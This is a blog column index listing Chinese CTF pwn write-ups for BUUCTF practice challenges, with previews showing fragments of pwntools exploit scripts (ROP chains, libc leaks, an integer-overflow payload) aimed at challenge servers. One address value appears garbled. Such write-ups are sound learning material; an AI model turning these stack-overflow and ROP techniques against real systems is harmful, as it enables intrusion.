pwn
pwnbuuctf
zeeeroo
这个作者很懒,什么都没留下…
展开
专栏收录文章
- 默认排序
- 最新发布
- 最早发布
- 最多阅读
- 最少阅读
-
pwn ciscn_2019_s_3
pwn ciscn_2019_s_3(srop) checksec一下发现是64位文件 并只开了NX保护 打开IDA 进入main函数直接转到vuln(可以看到明显栈溢出var_10距离rpb 0x10) 发现有两个系统调用号,系统调用号的传参方式是先将调用号传入rax,然后参数依次从左至右传入rdi,rsi,rdx寄存器中,最后返回值存入rax 看到最后有点奇怪开始时pop rbp mov rbp,rsp 程序结束的时候直接是:retn(pop rip) 这里直接就跳出vuln函数了 所以r原创 2021-03-23 21:37:54 · 280 阅读 · 0 评论 -
picoctf_2018_rop chain
先进行检查 32位 打开ida查看一下 vuln 函数存在溢出可以利用 又看到函数表有flag函数 win1 win2 和a1 存在条件 需要控制这3个参数变量 注意:0xBAAAAAAD是-1163220307对应的16进制的补码作为win_function2函数的参数 下面的 0xDEADBAAD是-559039827对应的16进制的补码作为flag函数的参数(我都已经在ida中转化) 之后又看到win1 win2 最后写下脚本 from pwn import* from LibcSearcher原创 2021-03-29 21:47:08 · 250 阅读 · 1 评论 -
计算机系统学习笔记及pwn做题心得(1)
计算机系统学习笔记及pwn做题心得(1) 计算机系统1 编译系统分四个阶段完成,预处理器、编译器、汇编器、链接器一起构成了编译系统 操作系统的基本功能:1 防止硬件被失控的应用程序滥用 2 向应用程序提供一些简单一致的机制来控制复杂而又通常大不相同的低级硬件设备 计算机执行.c文件的过程 :.c >>.i >>.s >>.o >>执行 系统硬件:总线(传输字) I/O设备 主存(临时...原创 2021-03-19 16:51:30 · 269 阅读 · 1 评论 -
堆溢出
堆溢出转载 2021-03-26 17:51:58 · 112 阅读 · 0 评论 -
babyrop2
from LibcSearcher import * #p = process('./babyrop2') p = remote('node3.buuoj.cn',27575) elf = ELF('babyrop2') pop_rdi = 0x400733 pop_rsi_r15 = 0x400731 format_str = 0x400770 ret_addr = 0xbaby400734bya printf_plt = elf.plt['printf'] read_got = elf.go原创 2021-03-29 17:33:50 · 193 阅读 · 0 评论 -
bjdctf_2020_babystack2同stack1(整数溢出)
首先检查一下 打开ida看一下 (int)nbytes是signed int类型 后面read 的是unsigned int 类型 这里想到整数溢出 可以传输一个负数使其溢出 下面是我的脚本 from pwn import* from LibcSearcher import* p=remote('node3.buuoj.cn','26189') p.sendline('-121311')#此处可以随意写入一个负数 payload='a'*0x18+p64(0x400726) p.sendline(paylo原创 2021-03-28 21:08:13 · 522 阅读 · 0 评论 -
bjdctf_2020_babyrop 与bjdctf_2020_babyrop2(格式化字符leak)
bjdctf_2020_babyrop 先checksec 打开ida正常查看函数 打开init函数发现puts函数 然后进入vuln函数 存在栈溢出 没有看到后门函数应该是libc leak+rop 代码如下 from pwn import* from LibcSearcher import* p=remote('node3.buuoj.cn',29901) #p=process('') elf=ELF('bjdctf_2020_babyrop') puts_got=elf.got['puts'] p原创 2021-04-06 16:10:11 · 720 阅读 · 2 评论
分享